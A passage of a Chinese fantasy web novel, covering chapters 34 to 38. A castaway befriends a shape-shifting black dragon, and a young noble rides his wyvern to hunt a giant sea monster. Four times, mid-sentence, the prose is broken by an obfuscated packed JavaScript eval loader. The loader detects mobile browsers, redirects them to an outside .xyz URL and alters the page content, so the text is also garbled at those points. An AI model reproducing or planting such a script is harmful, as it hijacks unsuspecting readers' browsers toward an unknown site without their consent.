黑龙显然吓了一跳,它立刻振翅往后跳了七八米,警觉的盯着地上的鱼肉,然后又抬眼瞅瞅格劳斯。格劳斯装作不再看黑龙,伸手去拿火上的另一条鱼,实则一直在用余光打量着黑龙。等了十几分钟,黑龙或许是放下戒心,又凑过来,舌头一卷,那条手臂大小的鱼已经连同木签子一块被它咽进肚里。格劳斯有些目瞪口呆地看着木棍在黑龙嘴里发出咯吱咯吱的声音,下一秒,便已经同鱼肉一起被黑龙嚼碎。咕的一声,这条烤鱼和它的签子便被黑龙吞进肚里,而黑龙好像还在回味似地用舌头舔着嘴唇。 如果黑龙能有表情,格劳斯猜测,应该是美味的意思。 黑龙重又把目光投向格劳斯,格劳斯不知道它在想什么,但是它却凑了过来,扒拉着山洞的石块,很快那些石头便被它拨开,黑龙跟着钻了进来。 好,好,现在你倒没有边界感了。 格劳斯无法阻拦,只能把手伸向火堆,捡起一块烧着的木头,如果待会情况不对,就拿这块火炭砸它。 钻进山洞后,不到十米的山洞就显得有些小了,黑龙折着翅膀,才能勉强不碰到火堆和石壁。它自来熟的卧在火堆旁,非常意有所指的把目光投向格劳斯手里的最后一条烤鱼。 “如果你知道你自己在做什么,就该明白这是最后一条鱼了。”格劳斯义正词严地说,因为空间太小,他已经被迫站起来,贴着另一侧墙站。“我给你吃的,不是为了让你挤进我的山洞,吃掉我最后的口粮。” 黑龙叫了几声,翻了个身,把肚皮朝向格劳斯。 “示好也没有用。你吃了我就只能等死,我宁愿咱俩一块饿死。”格劳斯说,在靠近洞口地位置坐了下来,“哎,我跟一条龙说话有什么用呢?好像你听得懂似地……” 几乎是格劳斯说话的下一刻,他看见黑色的鳞片从黑龙的身上褪了回去,那对黑铁色的龙角收进了额头的皮肤里,龙的肢体开始改变,骨骼咔咔作响,龙的翅膀和龙尾消失了,肌肉重新生长改变,如同翻转一般,露出属于人类的肤色和四肢。男生散着黑色的头发,四肢修长,他撩开遮住额前的过长的头发,露出颇为友好的眼睛。那是属于人类的脸,轮廓英俊,他的嘴唇动着,似乎很久没有说过话。他凑到格劳斯面前,指着自己,结结巴巴地开口。他的声音有些哑,起先,声音很不清晰,格劳斯甚至没有意识到他说的是与自己相同的语言。 “罪……门。”他指着自己说,“斥……雷,罪门。” ·· 这条黑龙——斥雷罪门,他如此自称,在格劳斯面前飞速的完成了从兽型到人类的转变,他的龙翼,双角和尾巴完全消失,顶着一头乱糟糟的夹杂着几缕白色的黑发,撇开他身上的许多伤疤看,罪门完全是一位矫健的十七八岁人类青年。 黑龙化身的青年热切地凑过来,不太流利地问:“记……记住了吗?我叫,斥雷罪门。” 格劳斯反映了好一会,才从这些过于震惊的画面中回过神来。 “你会说我们的语言?!”格劳斯问,“罪门,你能变成人类的样子?你早就知道我是人类?” 听到格劳斯念出自己的名字,罪门高兴地笑起来。他费劲地开口,音节起先有些混乱,好像很久没有开口说话了。 “太久,没有人、来了。食物的气味,你的声音,让我想起来了。”罪门说,“你,叫什么名字?” 听罪门这样说,好像他一个人在这个岛上呆了很久,以至于都忘了自己曾说的语言。格劳斯有些同情,把手里的最后一条鱼塞进罪门手里。 “我叫格劳斯·耶格尔,你可以叫我格劳斯。”格劳斯说,“吃吧,我不饿。” 罪门捧着这条烤鱼,眼睛亮晶晶地看着他,突然凑过来,吧唧亲了格劳斯一口,然后把整条鱼塞进嘴里,格劳斯看见他锋锐的,陶瓷般的牙齿扯住鱼肉,咯咯嚓嚓的几声之后,这条鱼被他扯成碎片,转瞬塞进嘴里,连骨头都没剩下。如果格劳斯没有看错,他又一次连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502523|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木棍都吃了,即使是人类的外型,这条黑龙显然还是野兽的饮食做派。 两条烤鱼下肚,罪门终于有些满足,他主动说:“你的山洞里好冷,我帮你暖和起来吧?” “还不是你进来的时候把雨水捎进来,浇灭了我的火。”格劳斯说,“你究竟是龙,还是人类?变成黑龙是你的纹章能力吗?” 罪门摇摇头,他打了个响指,地上簇地炸起一团红色的电火花。随后罪门的手往地上一指,地上原本熄灭的火堆重新在闪电的高温下燃烧起来,火焰噼啪作响地舔舐着木头,把这个颇为阴暗湿冷地山洞照得发暖发热。 “变换形态,生来就能做的。”罪门说,“纹章,是什么?我可以,召唤闪电。” 罪门转过身,格劳斯若有所思地看着他的后背,他的双翼已经收回脊椎的骨骼之间,在白色的皮肤上,除了伤疤,是复杂的黑色闪电花纹,彷佛天上的落雷汇聚在他的身上。格劳斯下意识看了看自己的胸口,蛇头消失,狮头和羊首交缠扭曲,花纹仍印在自己的心脏位置上。但是那个纹章如今却彷佛离他而去,无论格劳斯怎么呼唤都感知不到,只剩黑色的纹路还留在身上。 格劳斯轻轻碰了碰那些伤口,有的愈合已久,有的像是新伤。 “你身上的伤疤是怎么回事?” 罪门努力扭头看了一下,然后说:“噢,是捕猎的时候,有时候不大容易。”他抖了抖身子上的水,显然这些伤口已是家常便饭。 火焰的温度让山洞暖合起来,外面还是大雨滂沱,不见好转。罪门打了个哈欠,侧躺下来,把脑袋枕在格劳斯的腿上,团起身体。 这条龙不去他的古堡里避雨,反而跑到这个小山洞和我挤在一起,真是奇怪。格劳斯想。 他本就疲惫,食物也都让给了罪门,现在更是睁不开眼睛。挨饿的感觉虽然很糟,但也不是第一次经历,他索性就保持坐着的姿势,背靠在墙上,低头睡去。 他梦见银色的花纹,宛如神迹的光芒,落在那个人身上。当内特金色的眼睛望向他时,他仿佛心脏都停止跳动。格劳斯忍不住伸出手去,拨过青年柔软的唇珠,内特微笑起来,蜜色的脸蹭了蹭他的手心。 可是那只是梦。他已被流放出人类的国度,因为他做的事情,或许此生不能再踏足亚斯提都。内特·梅菲杰拉德属于另一个繁华闪耀的世界,格劳斯只是很感激自己曾遇见他。 35. 35-全世界最好的 “你穿件衣服吧。”格劳斯说。 “我觉得,不用。”罪门慢悠悠地说。 “……真心觉得你要。” 格劳斯是被阳光照醒的,山洞已经空无一人,外面云开雾散,鸟叫声重新充满山林。格劳斯扭了扭僵硬的四肢,从山洞里爬出来。雨停后的小岛仍透着湿气,那条曾经的小溪已经因为暴雨而暴涨,变得相当湍急。格劳斯沿着溪水往漫无目的的海岸走,希望这次能碰到一艘刚好驶过的帆船。 格劳斯没走几步,就听见天空传来一声高昂的龙鸣。一个黑色的影子从天空急扑而下,下一秒格劳斯被对方抓着带到天上,罪门抓着他的两条腿,格劳斯可以看见身下的树影飞速的倒退着。 “你醒的好早啊,格劳斯!”罪门边飞边说,“你要去哪里?我带你去啊!” “放——我——下——来——”格劳斯边被倒挂着在天空高速移动边惨叫到。 罪门真的如他所愿的松手,然后格劳斯立刻品尝到了自由落体的滋味。幸好在他彻底落地之前罪门又一次抓住了他,这一次他终于正过来了,黑龙的双臂从他的肋下穿过,爪子握着他的胳膊,格劳斯感觉就像趴在滑翔伞里。他可以看见黑色的城堡如黑曜石般在山顶闪烁,廊桥连接着塔楼和主城堡,沉默、庄严而残破。从这个高度海岸线更远了,他能看见一望无际的大海,没有帆船、没有大陆,他们的小岛就像在世界尽头。 黑龙把格劳斯放在沙滩上。格劳斯尽量不用’扔‘这个词,因为对方尽可能地轻柔了,但是格劳斯还是在沙滩上滚了好几圈才停下。 等我纹章能力回来了我一定得揍他,格劳斯想,头晕目眩的爬起来。“你得轻一点,”格劳斯劝罪门,“人的身体是很脆弱的。我很可能会骨折。” 罪门已经重新变回人类青年的样子,闻声,立刻惶惑不安的跑过来,把格劳斯上下打量着。“你受伤了?没事吧?伤到哪里了?” “这次没有。”格劳斯说,把罪门的手推回去,“但是下次可不一定了。你飞行的时候一定要那么抓着我吗?” “那我该怎么做?” “我不知道。或许像骑马那样,让我骑在你的背上?” 罪门了然的点点头,比了一个像是OK的手势,然后领着格劳斯往他先前修的小水坝走。格劳斯堆的石块已经在大雨中被冲塌了,那个小蓄水池自然应该空空如也。但是现在那里被扔了十几条还在挣扎的鲱鱼,鲭鱼,每条至少一米长,还有各种贝克和虾类,格劳斯简直目瞪口呆。 “这些都是你抓的?你今天早上一个人做的?” 黑龙颇为得意地昂起头,显然格劳斯地夸奖他很受用。格劳斯就在原地生了一堆火,有罪门在,火焰扑地一下就升起来了,省了他不少时间。然后他又开始处理鱼肉,在此期间,罪门一直不断地在密林和沙滩间往返,搬来木头,野菜和果子。当鱼肉架在火上滋滋烤着时,罪门就乖乖坐在旁边的石头上,眼睛闪亮亮的。 等一条鱼烤好,罪门便激动地要冲上来拿,被格劳斯赶开。 “这一条是我的,下一条才是你的。“格劳斯说,”我已经饿了两天,你忍忍吧。” 鱼肉的味道很淡,格劳斯手上又没有调料,自然无法掩盖海鱼的腥味。不过格劳斯自己也不挑,有吃的就很高兴;倒是罪门等鱼肉烤好,便立刻欢天喜地的把肉塞进嘴里,咔吧几口后咬碎吞下去了。然后黑龙又拿爪子拱了拱地上的几条生鱼,非常眼巴巴地看着格劳斯。 “你不是平时都吃生的吗?现在又喜欢熟食了?” “我不会做饭,”罪门理直气壮地说,”我一直都喜欢熟的。格劳斯,你做饭太厉害了,我好爱吃。” 几声鸟鸣从不远处传来,格劳斯闻声,看见是几只蓝白色的海鸥,循着气味,落在附近的礁石上。见此情景,格劳斯好奇的问:”罪门,你平时只吃鱼吗?考虑过抓只海鸟吗?” 黑龙闻言侧过头去,眨了眨红色的眼睛,磨了磨牙齿。 三只海鸥被拔了毛,掏空内脏,成为新的菜品。 鸟肉的味道又硬又腥,还都是肉筋,格劳斯确定如果自己不是变成狮子,应该不会再考虑这种生物。罪门却吃得非常开心,鸟连同骨架一起被他吞下肚子,黑龙甚至开始专心吃鸟肉,不再看海鲜一眼。 格劳斯开始认真怀疑罪门的味蕾,能吃木头和鸟肉的嘴却不喜欢生肉,他究竟是出于什么原因在选择食谱啊?话说你的消化系统也感觉很不对劲啊? 似乎看出了格劳斯的疑惑,罪门认真解释道:“我其实不喜欢吃海鲜。” “那你以前过得可真够苦的。” 酒足饭饱,剩下的鱼肉处理好,格劳斯一时不想回到山洞里,便坐在礁石上眺望海岸,边问罪门:“罪门,以前这里有像我的人来过吗?” “没有。你是第一个。” “船呢?你每天在海上捕食,看到过人类的货船吗?海妖呢?” “海怪都是不能对话的生物。”罪门说,“这么多年来,我只见到你一个。” “难道你没有想过离开这里吗?你没有好奇过,在海的尽头会是什么?” 罪门转过头,颇为困惑地看着他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502524|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “尽……尽头?除了这里,还存在着别的地方?” 格劳斯转过身。“你不好奇我从哪里来吗?在这个世界上,存在比这个岛屿大得多的陆地,那里有很多像我一样的人类,其他种族的人,你可以与他们对话。那里的天空无论飞多久,都有陆地可以降落。什么吃的都有,城镇,全都是你没有见过的东西。” 罪门听得一愣一愣的,眼睛亮起来。“真的……真的吗?那里,飞翔的天空没有尽头,不是海,而是土地?还有更多的,别的样子的人?” “是啊!那里每天除了打猎,还有很多事情可以做。你喜欢冒险吗?如果我们一起在卡克奇克大陆的南方走,就能遇到不死鸟和泰坦;如果往西,则是广袤无尽的草原。凭借你的飞翔能力,我们可以纵览大江大河,日出日落,景色都不会重复。我还听说,极北有与你相同的龙群存在,或许那里有你的同族。” 罪门颤抖起来,有生以来第一次,他听到关于外界的消息。他的心被格劳斯描绘的那个世界勾去,和那里比,自己的这座岛屿是如此窄小,每天狩猎的生活是多么单调。 “我……真的吗?格劳斯?如果我们一起去,你会带我,纵览无限的美景?冒险,每天都不重样?” “当然,“格劳斯说,”我保证。如果我们并肩行走,或许天下无敌呢。” 罪门激动地拥抱他,紧紧抱着格劳斯,不停地蹭着他的脖子。 “我好高兴! 格劳斯,我好高兴认识你!” 格劳斯拍了拍他的后背,不太习惯被人这么亲密的拥抱,他突然意识到罪门与他人的距离似乎有些过近了。 “罪门,你对谁都是这样吗,蹭来蹭去?” “是呀!我的记忆里,就是这样的。” “像你做的,亲吻、拥抱,其实在我们的世界里,只有很亲密的人才做。” “什么是亲密的人?” 格劳斯想了想,”像亲人啊,彼此喜欢的人,才会做这种事。” “我喜欢你!你也喜欢我吧?” 格劳斯抚了抚额头。 “不是那种喜欢。如果你把我看作亲人,在我们那边,可以叫做兄弟,哥们。” “哥们——“罪门反复念了很多次,突然神情消沉起来。 “可是我不能走,哥们。” 格劳斯一愣。“为什么?” 罪门抬起头,看向那座位于山上的,黑色的堡垒。在日光的阴影里,黑暗的堡垒闪烁着压抑的光。 “我在等人,”罪门说,“许多年前,我的父亲让我在这里等他。” 36. 36-郁金香平原 · 自从收到海森堡赠送的翼龙作为礼物,内特专门找人,为安吉尔在亚斯提都郊区的山坡上修了单独的龙巢,山上的猎物供安吉尔狩猎。那座山以前会有一些首都居民在里面打猎,抓些猎物去市场上贩卖,补贴家用。现在这座山上千亩的区域自然全部归梅菲杰拉德家族所有,偷猎也被严厉禁止了。内特还央求海森堡,专门让特里同中将每天派一队近卫军在后山巡逻,以防止平民影响安吉尔。 每天早上,安吉尔会飞到内特窗外的露台上,让内特骑着她在亚斯提都的上空飞翔。内特喜欢阳光照在她橘色的鳞片上的光泽,她更加温暖的体温,像一个跳动的火炉。 这段时间,内特和海森堡的关系也缓和不少,他渐渐意识到,海森堡并不排斥自己,虽然他对自己说话很不客气,于是内特也逐渐习惯了海森堡同自己过近的距离。 有时候内特乘着安吉尔降落,海森堡还会表扬似地摸摸安吉尔的头颅,小翼龙便高兴地鸣叫几声。 一个月转瞬而过,安吉尔的体重增长的很快,身长已接近十三米,在雌性翼龙中算为亚成体了。她的两条尾翼接近三米,鳞片变厚,即使只是挥动双翼,也有了摧毁普通木房的力量。 清晨,内特是被庭院里的吵闹声惊醒的,他昨晚在将军府过夜,现在还有些困倦。他推开房门,看见自己橘红色的翼龙刚刚落在庭院里,威斯汀·海森堡穿一件白色常服,站在一旁,正在吃一个苹果。 “安吉尔?你怎么来了?”内特有些困惑,他揉了揉爱龙的头颅,海森堡把吃了一半的苹果递过来,内特接着咬了一口。 “安吉尔的体能检测过了,现在达到了参与战斗的基准线。”海森堡说。 “也就是说——我可以参与清除海怪了吗,老师?”内特颇为惊喜。 海森堡不置可否地嗯了一声。他拉着内特后退几步,然后指向安吉尔,释放了一团能量较轻的轰雷。即使知道老师不会刻意伤害安吉尔,内特还是有些紧张的握紧了海森堡的手臂。蓝紫色的电光闪过,安吉尔嘶嘶地叫了几声,抖落身上的尘土,她的皮肤毫发无伤。 “她的抗电性确实优越,”海森堡点点头,“比你还强呢。” “老师!” 内特回屋换好衣服,穿上浅灰色的军装,军帽和马靴,然后骑到安吉尔的背上。海森堡注意到他手腕上的银色镯子,嘱咐道:“天使之吻是储存了空间能力的道具,但是能力来源的精灵与你终究不同。我对它的副作用也不了解,但是你不到必要的时候,不要使用。” “好的,老师。” 威斯汀走回廊下,“注意安全。” ·· 内特骑着安吉尔刚刚升空,一个白色的影子就从水晶皇宫的背后飞了过来。白龙全身如镶嵌水晶钻石,闪闪发亮,双翼扑打,便掀起一阵阵寒风。 “内特,你终于能出发啦?”涅西丝笑嘻嘻地问,“真是让我好等。” “有兴趣再和我比一场吗?”内特问,拍了拍安吉尔,“现在她的速度可今非昔比。” “求之不得!” 安吉尔骤然加速,如驭风驶电,狂风裹挟,速度快如流星。两人星驰电掣,卡克奇克大陆的土地从脚下飞速后退,在正午之前,就能达到大陆的最东角,全国最大的港口,里加湾。 两人沿着脚下黄色的道路飞行,飞了大约一个小时,脚下的土地骤然变得空旷,不再是农田或者树丛,而是一大片一眼望不到边际的平原。令人意外的是,这片平坦的土地既无庄稼也无植物,只有大片土地枯黄龟裂,连日光也浑浊阴暗,仿佛人间炼狱。 “这是什么地方?”涅西丝好奇的问。 “这是郁金香平原。” “郁金香?可是我没有看到花啊。” “这里以前曾是一片花海。”内特说,“十多年前,我们的军队在此和魔族决战。我的老师以少胜多,大破十万魔族大军。这就是那场战斗的结果,用以展示人类的力量,警示所有种族,不要妄图反抗我们。” 涅西丝听完,撇了撇嘴,不太高兴地说:“好吧,上千英亩的面积……这种破坏力,我现在确实比不上。” 内特与她不同,他看着脚下一望无际,寸草不生的焦土,心中感到一阵恐惧。 书上说,郁金香平原曾是天府之土。生机勃勃,水草肥沃。二十年前,人类一度式微,这里逐渐被魔族占据,并集结了数十万的军队,向首都逼近。威斯汀·海森堡临危受命,率军抵抗。 所谓暴君之怒,雷霆万钧,万顷良田,化为废墟,沃野千里,转瞬变为焦土。数十万生灵,在轰雷下灰飞烟灭;即使二十年过去,郁金香平原也依然寸草不生。 ……不,老师做的是正确的事。内特想,那些魔族罪有应得。他们反对我们,就活该都被劈死。 内特抓紧了安吉尔的背鳞,离开了郁金香平原。 ··· 两人在正午飞抵里加湾,海怪的清除工作在之前就开始了,似乎科尔等人的工作颇有成效,如今港口熙熙攘攘,几十艘货船在靠岸卸货,人来人往,气氛变得相当热闹。 涅西丝化为人形,还是保持着脚不沾地的样子,见状,露出有些不满的神情:“都怪你!我们来晚了,现在没有我们能做的了。” “话也不用说得太早,”内特从安吉尔身上跳下来,领着涅西丝和自己的翼龙往港口的中心走,“我们去找科尔,问问还有什么我们能做的。” 两人一前一后,涅西丝脸颊像精致的洋娃娃,头上长着水晶般的龙角,白色的细长龙尾一甩一甩,蓝白色的头发无风自动。内特高挑俊美,银发星眸,穿浅灰色的军装,身后跟一条橘红色翼龙,更显锐气逼人。一男一女走在路上,几乎所有的人都停下手中的动作,屏息般注视着他们。而即使是最穷困的流浪汉,也知道这两人身份不凡,不敢与他们搭话。 内特与涅西丝就这样大摇大摆地走进当地的治安署,治安总长是一位上了年纪的中年人,看见内特,吓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502525|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳,几乎是小跑地冲出办公厅迎接。 “内特——梅菲杰拉德的公子!我真没想到你会亲临这里。真是蓬荜生辉。” “科尔呢?”内特早就习惯这些恭维,开门见山,“我听说这里有清除海怪的任务,海森堡老师和爸爸特意让我过来。” “翼龙团长还在外出办事,他应该很快回来……” “很快是什么意思?”内特问,“你让本大爷在这等着吗?” “不是!”总长慌忙地解释,“公子一路赶来,舟车劳顿,何必立刻开始工作呢?您和同伴下榻的旅馆都已经安排好了,可以先去休息,去城市观光,所有的费用都由我们负责。此外,领主也已经收到消息,邀请您今晚务必去会客厅赏光……” 内特满不在乎的摆摆手。 ”那种事我不关心。“内特无视了治安官,“现在我就要去海上飞行。叫你们所有出航的船回来。” “这,这可能没法实现……”总长说,“很多船已经行驶出几十里,现在让他们返航,即使全部会到港口也要晚上了。” “哈啊?你在反对我吗?” “不是,公子——” 总长突然看到内特身后走进的男人,露出如蒙大赦的神情,“科尔!你回来了!” 内特回过头去,翼龙军团长,科尔·卡梅隆穿着皮革的制服,披着棕色的卷发,脸上带着孩子般的笑容。“内特吾友!”科尔张开双手,立刻给了他一个拥抱,“我一直惦记着你呢!恭喜你啊,竞技场的冠军!伤口都恢复好了吗?” “早没问题了。”内特把自己从科尔过于热情的拥抱中解脱出来,“老师让我来找你们。我已拥有了自己的翼龙。” “哈哈,真不错啊!”科尔说,“当初只是一个提议,没想到大将军真的同意了。内特,欢迎加入翼龙军团!” “还有我!”涅西丝从内特旁边跳出来,“海怪在哪里?还有剩余的吧?我也要去杀。” 看见涅西丝,科尔的笑容僵硬了一下。“啊哈哈,还有你呀,龙族姑娘……” 他朝总长摆摆手,示意接下来的事情交给自己。然后他一手揽着内特的肩膀,边往外走出去。 “你们来得正是时候。今天应该是最后一天了。” “其他的海怪都清干净了吗?” “唔,差不多吧。目前为止杀死了四只百米长的帝王级海怪。后来又巡逻了两个星期,没再遇到相同危险系数的怪物。” “那还有什么玩的嘛——”涅西丝不满地说,“这样剩下的不就是死鱼烂虾了?” “别这样说,龙族姑娘。”科尔摇摇头,褐色的眼睛闪着危险的光。 “越是留到最后的,越是危险、棘手的生物。” 涅西丝听了,眼睛亮起来,有些跃跃欲试,露出颇为锋锐的虎牙。 “真的吗?!有多强?我简直迫不及待了!” 科尔笑笑,看向内特: “听说过【克拉肯】吗,公子?” 37. 37-声之刻 “克拉肯?” “目前出现在人类航道上,体型最大,威胁最大的深海海怪。据目击者所说,克拉肯体长超过两百米,有八条触手,七只黄色眼睛,且再生能力极强。”科尔边走边说,“算上你,我们目前有九条翼龙,翼龙作为空战单位,尽管对地是无敌的,对这种超巨大的怪物,就没什么有效的手段了。” 内特饶有兴致地听着,“那你们之前是怎么处理的?” “是用纹章能力吧!”涅西丝猜测到。 科尔含含糊糊地说:“杀死它们的手段确实和纹章有关,不过,还是等晚上你们就知道了。” “为什么要晚上呢?” “克拉肯这种生物都是昼伏夜出,晚上比较容易找到它。它凭借血腥味追踪猎物,即使上百里也能闻到。原本我们以为它只在阴雨天才出现,但后来据最新的情报看,即使是晴朗的夜空,克拉肯也一样会出现,这倒是解决了我们不少问题。” 科尔不再谈论海怪,话题一转,已经带两人走到一处驿馆,这里最近一个月都被翼龙军团包下,为他们提供伙食。这座驿馆靠近海滩,内特看见六条翼龙正趴在不远处的沙滩上晒太阳,另外两条不知道飞到哪去了。驿馆只是一个三层的小楼,每层都有露台,背后还有一个很大的花园,此时正有好几个人在里面烧烤。 看见科尔,一条青绿色,体长接近三十米的翼龙从沙滩上抬起头,威风凛凛地飞了过来。它有四条带骨刺的长尾,身上是青紫色的带状花纹,鳞片在阳光下闪烁着宝石般的光泽。 “这是我的翼龙[海拉],”科尔说,拍了拍海拉的脖子,“虽然就体型来说,它远不及威斯汀·海森堡的[霍顿],但性能也是首屈一指。” 安吉尔从内特的背后走出来,嗅了嗅海拉,她今年六个月,这还是她自离开诞生的龙巢,第一次见到这么多同族。海拉低头看了她一会,扇动几下翅膀,安吉尔也跟着快速扇动起来。随后,两条龙双双振翅飞走,留两个主人还站在地上。海拉飞翔时,跟着沙滩上休息的几条也纷纷起飞,一时龙鸣阵阵,犹如团团青色的火焰在沙地上燃烧。 涅西丝仰起头,注视着翼龙飞远的身影,白色的尾巴轻轻颤动着。 “它们要带安吉尔去哪?”内特问。 科尔耸了耸肩。“翼龙如今已经没有天敌,它们随海拉去哪里倒不用担心。加入同族的第一次飞行是融入群体的仪式,不过我看你的翼龙状态很不错,说不定等它们飞回来,已经玩的乐不思蜀了——” 见内特还是有些忧虑,科尔索性拉着他,邀请他一起去吃烧烤。内特回过头去,看见涅西丝还站在沙滩上,正想叫她,科尔却劝道:“你可别叫她啊?翼龙军团的很多人对她印象不好,她和我们不是一路人。” 内特只好不再言语,跟着去品尝了刚烤好的香肠、牛肉,食物的味道喷香扑鼻,海风轻快凉爽,不知不觉,内特已经和这些人聊到天黑,繁星重新出现在天空。 烟火已尽,内特正靠在树荫下发呆,就听十几声嘶长的叫声,翼龙群已经从远方飞了回来。安吉尔落到内特身边,她的皮肤还带着太阳炙烤的余温,内特摸了摸她的翅膀,忍不住埋怨道:”你去哪了?飞了那么久?“ 安吉尔无辜地看着他,咕咕叫了几声。 内特登上翼龙,没看见涅西丝,但是科尔显然也不在乎她,已经把众人招呼到一起。 “走吧!我们去解决最后的大家伙!”科尔笑着说,吹了一声口哨,接着一马当先的起飞。内特跟在他身后,心中颇为疑惑,大海如此辽阔,就算翼龙的飞行一日千里,他们该如何找到克拉肯呢?而且,倘若这条体长超过百米的巨兽真如海员所说般凶猛危险,所向披靡,这些翼龙军团的人怎么看起来毫不紧张? 一行人大概飞了一个小时,以翼龙的速度,内特估计现在离海岸线至少有七八多公里。海水漆黑翻涌,深不见底,即使月上中天、夜空晴朗,内特实在忍不住飞到科尔旁边,问道:“科尔,你说有找到克拉肯的方法——你准备怎么做?” “你父亲没跟你说吗?” “爸爸说了什么?” 见内特表情依然困惑,科尔从怀里掏出几颗黑色的小球,举起其中一颗到内特面前。它不过半个巴掌大,上面却刻画着密密匝匝的,凹凸起伏的纹路。 “这是[声之刻],你父亲交给我们的道具。它存储了极小部分的——大概千分之一吧,隶属于陛下的某一位天使的纹章能力。不过,即使是一丁点,也绰绰有余了。” 内特有些好奇地看着这个黑色小球,不知道它如何像科尔说的那般神通广大。科尔笑了一下,一边引着众人驾驭翼龙继续升高,然后把这颗小球扔了下去。 “克拉肯是会被浓郁的血腥味吸引的生物,所以我们只要制造大量的血液就行。” “这个小球里面储存了血液?” 科尔摇摇头。 “比那更好,”科尔说,“现在,听、好、了。” 下一秒,一阵极为奇异、怪异的感觉从脚下几百米深处的海水中传来,那是一种让人连心脏跳动都变得不舒服的声波,用声音来形容并不准确,因为内特无法’听见‘那声音。可那波动确实存在,或许更像是人耳无法听到的’次声波‘,一种特殊频率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502526|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、能量极为强大的震动,这种次声波甚至让内特感觉心率变得难以正常维系,他想要呼吸,却喘不上气,连肢体的血管和肌肉都在颤抖着。安吉尔等翼龙更加敏感,她第一次发出暴躁狂乱的叫声,扑打翅膀的速度更快,试图在离那声音越来越远。 而那次声波在数秒之后达到了顶峰,内特看见脚下的海水如同被一只看不见的大手般搅动起来,它狂乱的,水波狰狞的上下起伏震荡,接着从深处往外层层炸开,那强烈的次声波在数秒内就传播了超过上千米,所过之处,鱼群无论大小,一瞬间血管崩裂,神经毁坏,顿时死了。 大概只过了十几秒,却仿佛有一个世纪那么小,内特重新从恍惚中回过神来,看见脚下的海水已经透露出隐隐的暗红色,大群大群的死鱼从水底浮上来,它们翻着银白色的肚皮,眼睛凸起瞪大,像被人从体内吹鼓了肚子。成千上万条死鱼层层叠叠的堆在海面上,犹如一片尸潮,内特几乎忍不住撇开视线,而科尔则跃跃欲试的准备继续飞行。 “我们还要继续飞吗?”内特问,“不是等在这里就行?” “这才哪到哪呢!”科尔说,“这一小片不够让克拉肯来的。我们得再往远处飞点,然后再扔一颗,一般要三四颗才能把海妖吸引过来。” 内特低下头,他抓紧安吉尔的脊背,不断的呼吸。这不是值得犹豫的,这是人类的力量理所应当的一部分,如果他们不能杀死有威胁的海妖,出行的船员就没法航行。 很快,科尔又扔了一颗下去,不仅是小鱼,水母、人鱼和几米长的鲨鱼也有十几条被杀死。内特忍住心底涌上来的一阵又一阵恶心,等到科尔扔到第四颗的时候,他几乎要昏迷过去,只能强撑着精神,这场屠杀才终于要停下来了。 科尔让众人的翼龙隐藏在云层中,自己乘着海拉缓缓下降,他看着海面上顺着水波一阵阵浮动的鱼尸,位置低得几乎可以让自己翼龙的后爪碰到海面。 “克拉肯大概不会来了吧!”科尔仰起头,大喊一声,“今天收工啦,明天再试试吧!” 他话音未落,脚下的海水就骤然浑浊搅动起来,那些大大小小的鱼尸如同被一个漩涡吸引着,快速旋转下降,八条触手瞬间从海底深处来,几乎是一个呼吸的功夫,已经卷住科尔,把他连人带龙一起吞进海里。 内特大吃一惊,七只明黄色的眼睛如灯笼般在黑水中骤然睁开,八条肉粉色的粗大触须如同通天的黑色水柱在自己周身挥舞着,科尔刚刚所在的位置就是它张开的大嘴中央,此刻克拉肯无数片锋锐的螺旋口器已经从海水下伸出,仅仅是深吸一口,这些死掉的鱼尸就已经被它尽数吞入肚中。 38. 38-工作完成 